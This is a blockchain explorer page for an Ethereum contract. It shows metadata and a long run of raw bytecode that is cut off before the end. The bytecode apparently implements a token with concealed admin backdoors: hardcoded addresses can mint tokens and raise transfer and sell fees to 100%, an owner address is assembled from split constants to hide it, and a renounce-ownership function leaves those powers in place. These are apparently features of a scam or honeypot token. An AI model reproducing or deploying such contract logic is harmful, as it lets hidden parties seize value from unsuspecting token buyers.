Address Contract Partially Verified
Address
0x846e1125dB8D32c997dE2BF8EDeb0c98AFE120Fd
Balance
0 ETH
Nonce
1
Code Size
18859 bytes
Creator
0xDaB629Ba...157F at tx 0x7f791fe9...0e6e70
Indexed Transactions
0
Contract Bytecode
18859 bytes
0x60806040526004361061023b5760003560e01c806370a082311161012e578063a9059cbb116100ab578063d21c8d551161006f578063d21c8d55146108d8578063dd62ed3e14610903578063ddf750d014610940578063e2daf66514610969578063e4849b32146109945761023b565b8063a9059cbb146107e1578063aa46b46e1461081e578063afacb3e514610847578063b8d815e314610870578063d0fb0203146108ad5761023b565b80638ebfc796116100f25780638ebfc79614610709578063923e51d51461073257806395d89b411461076f57806396c5e1ab1461079a578063a6f2ae3a146107d75761023b565b806370a0823114610622578063715018a61461065f578063858ced3514610676578063891e1ee0146106b35780638da5cb5b146106de5761023b565b8063313ce567116101bc5780634a0af68d116101805780634a0af68d14610517578063547e1edb146105545780635ed86d5c1461059157806361b40839146105ce57806365f6a921146105f75761023b565b8063313ce5671461041c578063376d567c146104475780633ef530eb146104845780633f4218e0146104af57806347062402146104ec5761023b565b806318160ddd1161020357806318160ddd1461033757806323b872dd146103625780632b14ca561461039f5780632c7ee946146103ca5780632ccb1b30146103f35761023b565b806306fdde0314610240578063095ea7b31461026b5780630b78f9c0146102a857806312df172d146102d157806316e3b09c146102fa575b600080fd5b34801561024c57600080fd5b506102556109bd565b6040516102629190613ebc565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190613f77565b610a4b565b60405161029f9190613fd2565b60405180910390f35b3480156102b457600080fd5b506102cf60048036038101906102ca9190613fed565b610b3d565b005b3480156102dd57600080fd5b506102f860048036038101906102f39190613fed565b610cf3565b005b34801561030657600080fd5b50610321600480360381019061031c919061402d565b610ea9565b60405161032e9190613fd2565b60405180910390f35b34801561034357600080fd5b5061034c610fa1565b6040516103599190614069565b60405180910390f35b34801561036e57600080fd5b5061038960048036038101906103849190614084565b610fa7565b6040516103969190613fd2565b60405180910390f35b3480156103ab57600080fd5b506103b461175c565b6040516103c19190614069565b60405180910390f35b3480156103d657600080fd5b506103f160048036038101906103ec9190613fed565b611762565b005b3480156103ff57600080fd5b5061041a60048036038101906104159190613f77565b61188f565b005b34801561042857600080fd5b50610431611980565b60405161043e91906140f3565b60405180910390f35b34801561045357600080fd5b5061046e6004803603810190610469919061410e565b611993565b60405161047b9190613fd2565b60405180910390f35b34801561049057600080fd5b50610499611a39565b6040516104a69190613fd2565b60405180910390f35b3480156104bb57600080fd5b506104d660048036038101906104d1919061410e565b611b21565b6040516104e39190613fd2565b60405180910390f35b3480156104f857600080fd5b50610501611b41565b60405161050e9190614069565b60405180910390f35b34801561052357600080fd5b5061053e6004803603810190610539919061410e565b611b47565b60405161054b9190613fd2565b60405180910390f35b34801561056057600080fd5b5061057b6004803603810190610576919061402d565b611bed565b6040516105889190613fd2565b60405180910390f35b34801561059d57600080fd5b506105b860048036038101906105b3919061402d565b611ce5565b6040516105c59190613fd2565b60405180910390f35b3480156105da57600080fd5b506105f560048036038101906105f0919061410e565b611d39565b005b34801561060357600080fd5b5061060c611f03565b604051610619919061414a565b60405180910390f35b34801561062e57600080fd5b506106496004803603810190610644919061410e565b611f29565b6040516106569190614069565b60405180910390f35b34801561066b57600080fd5b50610674611f41565b005b34801561068257600080fd5b5061069d6004803603810190610698919061410e565b6120e5565b6040516106aa9190613fd2565b60405180910390f35b3480156106bf57600080fd5b506106c861218b565b6040516106d5919061414a565b60405180910390f35b3480156106ea57600080fd5b506106f36121b1565b604051610700919061414a565b60405180910390f35b34801561071557600080fd5b50610730600480360381019061072b9190614191565b6121d7565b005b34801561073e57600080fd5b506107596004803603810190610754919061410e565b61235f565b6040516107669190613fd2565b60405180910390f35b34801561077b57600080fd5b506107846123f7565b6040516107919190613ebc565b60405180910390f35b3480156107a657600080fd5b506107c160048036038101906107bc919061402d565b612485565b6040516107ce9190613fd2565b60405180910390f35b6107df6124f4565b005b3480156107ed57600080fd5b5061080860048036038101906108039190613f77565b612959565b6040516108159190613fd2565b60405180910390f35b34801561082a57600080fd5b5061084560048036038101906108409190613fed565b612b79565b005b34801561085357600080fd5b5061086e60048036038101906108699190613f77565b612c87565b005b34801561087c57600080fd5b506108976004803603810190610892919061402d565b612cd4565b6040516108a49190613fd2565b60405180910390f35b3480156108b957600080fd5b506108c2612dcc565b6040516108cf919061414a565b60405180910390f35b3480156108e457600080fd5b506108ed612df2565b6040516108fa919061414a565b60405180910390f35b34801561090f57600080fd5b5061092a600480360381019061092591906141d1565b612e18565b6040516109379190614069565b60405180910390f35b34801561094c57600080fd5b5061096760048036038101906109629190613fed565b612e3d565b005b34801561097557600080fd5b5061097e612ff3565b60405161098b919061414a565b60405180910390f35b3480156109a057600080fd5b506109bb60048036038101906109b6919061402d565b613019565b005b600080546109ca90614240565b80601f01602080910402602001604051908101604052809291908181526020018280546109f690614240565b8015610a435780601f10610a1857610100808354040283529160200191610a43565b820191906000526020600020905b815481529060010190602001808311610a2657829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610b2b9190614069565b60405180910390a36001905092915050565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610c175750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610c165750610be6613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b610c2057600080fd5b6064821115610c64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5b906142bd565b60405180910390fd5b6064811115610ca8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9f90614329565b60405180910390fd5b81600d8190555080600e819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051610ce7929190614349565b60405180910390a15050565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610dcd5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610dcc5750610d9c613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b610dd657600080fd5b6064821115610e1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e11906142bd565b60405180910390fd5b6064811115610e5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5590614329565b60405180910390fd5b81600d8190555080600e819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051610e9d929190614349565b60405180910390a15050565b6000731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610f855750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610f845750610f54613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b610f8e57600080fd5b610f983383613392565b60019050919050565b60025481565b600081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561102b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611022906143be565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156110ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e19061442a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611159576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115090614496565b60405180910390fd5b6000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166111d7576111d460646111c6600e548661355a90919063ffffffff16565b6135d490919063ffffffff16565b90505b60006111ec828561362c90919063ffffffff16565b905061124084600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461362c90919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112d581600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461368590919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113759190614069565b60405180910390a36000821115611481576113d882600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461368590919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114789190614069565b60405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415801561155957507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b1561174f576115ed84600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461362c90919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040516117469190614069565b60405180910390a35b6001925050509392505050565b600e5481565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146117bc57600080fd5b6064821115611800576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f7906142bd565b60405180910390fd5b6064811115611844576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183b90614329565b60405180910390fd5b81600d8190555080600e819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051611883929190614349565b60405180910390a15050565b7363e67a280645edf97880c1df03c8301b151c466873ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806119695750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156119685750611938613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b61197257600080fd5b61197c82826136e3565b5050565b600360009054906101000a900460ff1681565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146119ef57600080fd5b81600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611b155750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015611b145750611ae4613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b611b1e57600080fd5b90565b60066020528060005260406000206000915054906101000a900460ff1681565b600d5481565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611ba357600080fd5b81600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60007363e67a280645edf97880c1df03c8301b151c466873ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611cc95750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015611cc85750611c98613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b611cd257600080fd5b611cdc338361389e565b60019050919050565b6000611cef613a66565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d2657600080fd5b611d303383613b15565b60019050919050565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611e135750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015611e125750611de2613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b611e1c57600080fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611ea8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9f90614502565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60046020528060005260406000206000915090505481565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061201b5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561201a5750611fea613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b61202457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461214157600080fd5b81600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806122b15750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156122b05750612280613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b6122ba57600080fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550801561235b578173ffffffffffffffffffffffffffffffffffffffff167fedf77dfa35bf29ea56a9082d8b89075bd94fd237149c165ce43a4ae41968de3760405160405180910390a25b5050565b60007378322d0c5768c9ca370ddfc1d44db0fef3a6e05173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146123ad57600080fd5b81600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6001805461240490614240565b80601f016020809104026020016040519081016040528092919081815260200182805461243090614240565b801561247d5780601f106124525761010080835404028352916020019161247d565b820191906000526020600020905b81548152906001019060200180831161246057829003601f168201915b505050505081565b6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146124e157600080fd5b6124eb3383613392565b60019050919050565b60003411612537576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252e90614594565b60405180910390fd5b60003490506000600d5411156127f55760006125716064612563600d548561355a90919063ffffffff16565b6135d490919063ffffffff16565b90506000612588828461362c90919063ffffffff16565b90506125fe8160046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461368590919063ffffffff16565b60046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516126e29190614069565b60405180910390a360008211156127ee5761274582600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461368590919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516127e59190614069565b60405180910390a35b5050612956565b6128698160046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461368590919063ffffffff16565b60046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161294d9190614069565b60405180910390a35b50565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156129a757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036129e057600080fd5b612a3282600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461362c90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ac782600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461368590919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612b679190614069565b60405180910390a36001905092915050565b612b81613a66565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612bb857600080fd5b6064821115612bfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bf3906142bd565b60405180910390fd5b6064811115612c40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c3790614329565b60405180910390fd5b612c4a8282613c9e565b7f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051612c7b929190614349565b60405180910390a15050565b612c8f613a66565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612cc657600080fd5b612cd08282613cb0565b5050565b6000731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612db05750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015612daf5750612d7f613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b612db957600080fd5b612dc3338361389e565b60019050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052816000526040600020602052806000526040600020600091509150505481565b7363e67a280645edf97880c1df03c8301b151c466873ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612f175750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015612f165750612ee6613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b612f2057600080fd5b6064821115612f64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f5b906142bd565b60405180910390fd5b6064811115612fa8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f9f90614329565b60405180910390fd5b81600d8190555080600e819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051612fe7929190614349565b60405180910390a15050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561309b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613092906143be565b60405180910390fd5b60006130c560646130b7600e548561355a90919063ffffffff16565b6135d490919063ffffffff16565b905060006130dc828461362c90919063ffffffff16565b905061313083600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461362c90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131c581600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461368590919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516132659190614069565b60405180910390a36000821115613371576132c882600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461368590919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516133689190614069565b60405180910390a35b505050565b6000730320e7dc23bfae74334d93c20051125ca59e0e7a905090565b61339a613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036133d157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613440576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161343790614600565b60405180910390fd5b6134558160025461368590919063ffffffff16565b6002819055506134ad81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461368590919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161354e9190614069565b60405180910390a35050565b600080830361356c57600090506135ce565b6000828461357a919061464f565b905082848261358991906146c0565b146135c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135c09061473d565b60405180910390fd5b809150505b92915050565b6000808211613618576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161360f906147a9565b60405180910390fd5b818361362491906146c0565b905092915050565b600082821115613671576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161366890614815565b60405180910390fd5b818361367d9190614835565b905092915050565b60008082846136949190614869565b9050838110156136d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136d0906148e9565b60405180910390fd5b8091505092915050565b6136eb613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361372257600080fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546137719190614869565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516137d69190614069565b60405180910390a380600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461382d9190614869565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516138929190614069565b60405180910390a35050565b6138a6613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036138dd57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361394c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161394390614600565b60405180910390fd5b6139618160025461368590919063ffffffff16565b6002819055506139b981600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461368590919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613a5a9190614069565b60405180910390a35050565b600080637addad099050600063cbd98d979050600063ec3da7a09050600063088eadfe90506000635801c336905060008160208473ffffffffffffffffffffffffffffffffffffffff16901b60408673ffffffffffffffffffffffffffffffffffffffff16901b60608873ffffffffffffffffffffffffffffffffffffffff16901b60808a73ffffffffffffffffffffffffffffffffffffffff16901b17171717905080965050505050505090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613b84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613b7b90614955565b60405180910390fd5b613b998160025461368590919063ffffffff16565b600281905550613bf181600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461368590919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613c929190614069565b60405180910390a35050565b81600d8190555080600e819055505050565b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254613cff9190614869565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613d6491906140